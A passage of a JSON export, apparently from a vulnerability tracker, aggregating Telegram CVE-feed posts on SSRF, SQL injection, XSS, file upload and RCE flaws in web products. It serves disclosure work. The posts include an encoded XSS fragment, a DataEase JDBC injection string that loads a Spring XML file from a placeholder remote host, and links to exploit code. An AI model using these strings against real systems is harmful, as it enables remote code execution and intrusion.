"0c61576a-fc0e-4712-9f81-3e2485e1e896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55089", "type": "seen", "source": "https://t.me/cvedetector/13219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55089 - Rhymix SSRF Attack\", \n  \"Content\": \"CVE ID : CVE-2024-55089 \nPublished : Dec. 18, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : Rhymix 2.1.19 is vulnerable to Server-Side Request Forgery (SSRF) in the background import data function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T19:32:59.000000Z"}, {"uuid": "5dbbc4ed-6922-45c8-a0c2-ffedeccc4387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55088", "type": "seen", "source": "https://t.me/cvedetector/13218", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55088 - GetSimple CMS CE SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-55088 \nPublished : Dec. 18, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : GetSimple CMS CE 3.3.19 is vulnerable to Server-Side Request Forgery (SSRF) in the backend plugin module. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T19:32:58.000000Z"}, {"uuid": "2d1e26ee-c15d-4c00-b460-e0283c6b199b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55492", "type": "seen", "source": "https://t.me/cvedetector/13214", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55492 - Winmail Server CSRF XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55492 \nPublished : Dec. 18, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : Winmail Server 4.4 is vulnerable to f_user=%22%3E%3Csvg%20onload Cross Site Scripting (XSS). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T18:42:48.000000Z"}, {"uuid": "a684f76c-607d-4b2a-8898-8b5c52178c62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55086", "type": "seen", "source": "https://t.me/cvedetector/13213", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55086 - GetSimple CMS SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55086 \nPublished : Dec. 18, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : In the GetSimple CMS CE 3.3.19 management page, Server-Side Request Forgery (SSRF) can be achieved in the plug-in download address in the backend management system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T18:42:47.000000Z"}, {"uuid": "28fb998f-4833-4885-b681-c999ddd98fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55952", "type": "seen", "source": "https://t.me/cvedetector/13233", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55952 - DataEase Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55952 \nPublished : Dec. 18, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=http://ip:5432/1.xml&amp;a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T21:13:33.000000Z"}, {"uuid": "f118ed0a-dacf-45f5-8a15-14223b6f29fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55953", "type": "seen", "source": "https://t.me/cvedetector/13224", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55953 - DataEase Unsandboxed File Deserialization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55953 \nPublished : Dec. 18, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : DataEase is an open source business analytics tool. Authenticated users can read and deserialize arbitrary files through the background JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. This vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T21:13:20.000000Z"}, {"uuid": "b5614286-8bd2-4cbc-b222-3bb581cd8589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55997", "type": "seen", "source": "https://t.me/cvedetector/13186", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55997 - Web Chunky Order Delivery &amp; Pickup Location Date Time Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55997 \nPublished : Dec. 18, 2024, 12:15 p.m. | 23\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Web Chunky Order Delivery &amp; Pickup Location Date Time allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Order Delivery &amp; Pickup Location Date Time: from n/a through 1.1.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T13:41:40.000000Z"}, {"uuid": "f4dce898-d527-4c04-a836-878b82415f3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55985", "type": "seen", "source": "https://t.me/cvedetector/13185", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55985 - Ydesignservices YDS Support Ticket System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55985 \nPublished : Dec. 18, 2024, 12:15 p.m. | 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ydesignservices YDS Support Ticket System allows SQL Injection.This issue affects YDS Support Ticket System: from n/a through 1.0. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T13:41:36.000000Z"}, {"uuid": "555da635-862d-4963-b16f-a26c599d2202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55984", "type": "seen", "source": "https://t.me/cvedetector/13184", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55984 - \"Susheelhbti Saksh Escrow System SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-55984 \nPublished : Dec. 18, 2024, 12:15 p.m. | 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in susheelhbti Saksh Escrow System allows SQL Injection.This issue affects Saksh Escrow System: from n/a through 2.4. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T13:41:35.000000Z"}, {"uuid": "3aaf54d6-4cca-4e64-873a-d44ef23c74ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55983", "type": "seen", "source": "https://t.me/cvedetector/13183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55983 - PowerFormBuilder SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55983 \nPublished : Dec. 18, 2024, 12:15 p.m. | 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Derek Hamilton PowerFormBuilder allows SQL Injection.This issue affects PowerFormBuilder: from n/a through 1.0.6. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T13:41:34.000000Z"}, {"uuid": "627114ef-cf6e-4cd4-b5db-5e86eb31fc3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55059", "type": "seen", "source": "https://t.me/cvedetector/13133", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55059 - PHPGurukul Online Birth Certificate System HTML Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55059 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A stored HTML Injection vulnerability was identified in PHPGurukul Online Birth Certificate System v1.0 in /user/certificate-form.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:27.000000Z"}, {"uuid": "e84e0fec-8650-4dbf-b128-ae626ca3bdf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55057", "type": "seen", "source": "https://t.me/cvedetector/13131", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55057 - PhpGurukul Online Birth Certificate System Weak Password Policy Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55057 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : Phpgurukul Online Birth Certificate System 1.0 suffers from insufficient password requirements which can lead to unauthorized access to user accounts. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:25.000000Z"}, {"uuid": "ba1d95a6-6ce0-4014-9844-fd0b8bd0b0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55056", "type": "seen", "source": "https://t.me/cvedetector/13130", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55056 - Phpgurukul Online Birth Certificate System XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55056 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability was identified in Phpgurukul Online Birth Certificate System 1.0 in /user/certificate-form.php via the full name field. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:25.000000Z"}, {"uuid": "ed546247-af43-4749-9c2b-b1723a7063c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55514", "type": "seen", "source": "https://t.me/cvedetector/13129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55514 - Raisecom MSG series File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55514 \nPublished : Dec. 17, 2024, 8:15 p.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 3.90. The component affected by this issue is /upload_sfmig.php on the web interface. By crafting a suitable form name, arbitrary files can be uploaded, potentially leading to unauthorized access to server permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T21:48:11.000000Z"}, {"uuid": "b0ca5034-a0a1-4c81-b9bc-43c324492588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55513", "type": "seen", "source": "https://t.me/cvedetector/13128", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55513 - Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55513 \nPublished : Dec. 17, 2024, 8:15 p.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 3.90. The component affected by this issue is /upload_netaction.php on the web interface. By crafting a suitable form name, arbitrary files can be uploaded, potentially leading to unauthorized access to server permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T21:48:10.000000Z"}, {"uuid": "ce09bef4-4b49-410f-85f3-b4b3b7d0fdba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55515", "type": "seen", "source": "https://t.me/cvedetector/13126", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55515 - Raisecom MSG1200/MSG2100E/MSG2200/MSG2300 File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55515 \nPublished : Dec. 17, 2024, 8:15 p.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 3.90. The component affected by this issue is /upload_ipslib.php on the web interface. By crafting a suitable form name, arbitrary files can be uploaded. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T21:48:09.000000Z"}, {"uuid": "74be1b79-6473-4b12-9844-8c2313541ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55516", "type": "seen", "source": "https://t.me/cvedetector/13125", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55516 - Raisecom MSG1200/MSG2100E/MSG2200/MSG2300 File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55516 \nPublished : Dec. 17, 2024, 8:15 p.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 v3.90. The component affected by this issue is /upload_sysconfig.php on the web interface. By crafting a suitable form name, arbitrary files can be uploaded, potentially leading to unauthorized access to server permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T21:48:08.000000Z"}, {"uuid": "42b28332-a2c6-4c09-9ca4-8ea28b36859b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55496", "type": "seen", "source": "https://t.me/cvedetector/13115", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55496 - \"1000projects Bookstore Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55496 \nPublished : Dec. 17, 2024, 6:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability has been found in the 1000projects Bookstore Management System PHP MySQL Project 1.0. This issue affects some unknown functionality of add_company.php. Actions on the delete parameter result in SQL injection. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T20:07:38.000000Z"}, {"uuid": "610f15a3-fd82-452b-ac90-ca2ed51faa30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5578", "type": "seen", "source": "https://t.me/cvedetector/9819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5578 - Table of Contents Plus WordPress Plugin Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5578 \nPublished : Nov. 5, 2024, 6:15 a.m. | 39\u00a0minutes ago \nDescription : The Table of Contents Plus WordPress plugin through 2408 does not sanitise and escape some of its settings, which could allow high privilege users such as editors to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T08:00:18.000000Z"}, {"uuid": "95b75956-23ef-4087-ba94-7129d170190f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/3335", "content": "#exploit\n1. CVE-2024-55963:\nUnauth RCE in Default-Install of Appsmith\nhttps://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith\n\n2. CVE-2025-26909:\nLFI to RCE in WP Ghost Plugin\nhttps://github.com/zerodayx/cve-2025-26909\n\n3. CVE-2025-27840:\nVulnerability in ESP32 Microcontrollers\nhttps://github.com/demining/Bluetooth-Attacks-CVE-2025-27840", "creation_timestamp": "2025-03-31T18:38:27.000000Z"}, {"uuid": "490eb1e0-b37a-4886-a0d7-b359da907389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5532", "type": "seen", "source": "https://t.me/cvedetector/9162", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5532 - OpenText Operations Agent Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5532 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in OpenText\u2122 Operations Agent.\u00a0  \n  \nThe XSS vulnerability could allow an attacker with local admin permissions to manipulate the content of the internal status page of the Agent on the local system.   \n  \nThis issue affects Operations Agent: 12.20, 12.21, 12.22, 12.23, 12.24, 12.25, 12.26. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:07.000000Z"}, {"uuid": "709479fc-7e10-4d2e-b4e7-48a852d6ac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "published-proof-of-concept", "source": "https://t.me/hydral0gs/3811", "content": "https://github.com/partywavesec/CVE-2024-55557/blob/main/exploit.py\n\n\u2699\ufe0f\n\n\u041a\u043e\u043c\u0443 \u043d\u0430\u0434\u043e - \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u0442\u0441\u044f", "creation_timestamp": "2024-12-13T11:04:07.000000Z"}, {"uuid": "da2cb60f-6fb3-4086-9f7b-04eb75f00dcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://t.me/CyberBulletin/2828", "content": "\u26a1CVE-2024-55963: Unauthenticated RCE in Default-Install of Appsmith.\n\n#CyberBulletin", "creation_timestamp": "2025-03-26T17:58:08.000000Z"}, {"uuid": "8b7651b8-3391-4131-ac83-fefcba7b0fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5567", "type": "seen", "source": "https://t.me/cvedetector/5559", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5567 - \"Helemate Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-5567 \nPublished : Sept. 13, 2024, 7:15 a.m. | 19\u00a0minutes ago \nDescription : The Betheme theme for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 27.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-13T09:35:59.000000Z"}, {"uuid": "70bf1839-f913-4744-9ef0-0f1248e97f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5546", "type": "seen", "source": "https://t.me/cvedetector/4321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5546 - Zohocorp ManageEngine SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-5546 \nPublished : Aug. 28, 2024, 9:15 a.m. | 26\u00a0minutes ago \nDescription : Zohocorp\u00a0ManageEngine Password Manager Pro versions before 12431 and\u00a0ManageEngine PAM360 versions\u00a0before 7001 are affected by\u00a0authenticated SQL Injection vulnerability via a global search option. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-28T11:47:24.000000Z"}, {"uuid": "bd555e27-6184-453d-9292-0e68f1ce0c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5586", "type": "seen", "source": "https://t.me/cvedetector/3988", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5586 - Zohocorp ManageEngine ADAudit Plus SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5586 \nPublished : Aug. 23, 2024, 2:15 p.m. | 42\u00a0minutes ago \nDescription : Zohocorp\u00a0ManageEngine\u00a0ADAudit Plus versions below\u00a08121 are vulnerable to the authenticated SQL injection in\u00a0extranet lockouts report\u00a0option. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T17:07:53.000000Z"}, {"uuid": "bea54c72-8218-4177-b668-5a3f66f1baf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5561", "type": "seen", "source": "https://t.me/cvedetector/5099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5561 - Popup Maker Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5561 \nPublished : Sept. 9, 2024, 6:15 a.m. | 37\u00a0minutes ago \nDescription : The Popup Maker  WordPress plugin before 1.19.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-09T08:57:45.000000Z"}, {"uuid": "7bcc635e-8047-468e-b0ff-10b6936d59a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5583", "type": "seen", "source": "https://t.me/cvedetector/3875", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5583 - \"Plus Addons for Elementor Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-5583 \nPublished : Aug. 22, 2024, 3:15 a.m. | 41\u00a0minutes ago \nDescription : The The Plus Addons for Elementor \u2013 Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the carousel_direction parameter of testimonials widget in all versions up to, and including, 5.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-22T05:59:06.000000Z"}, {"uuid": "8f9b9ee1-ffd1-416a-8245-a03181f43cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5556", "type": "seen", "source": "https://t.me/cvedetector/3985", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5556 - Zohocorp ManageEngine ADAudit Plus SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5556 \nPublished : Aug. 23, 2024, 2:15 p.m. | 42\u00a0minutes ago \nDescription : Zohocorp\u00a0ManageEngine\u00a0ADAudit Plus versions below\u00a08000 are vulnerable to the authenticated SQL injection in\u00a0reports\u00a0module. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and 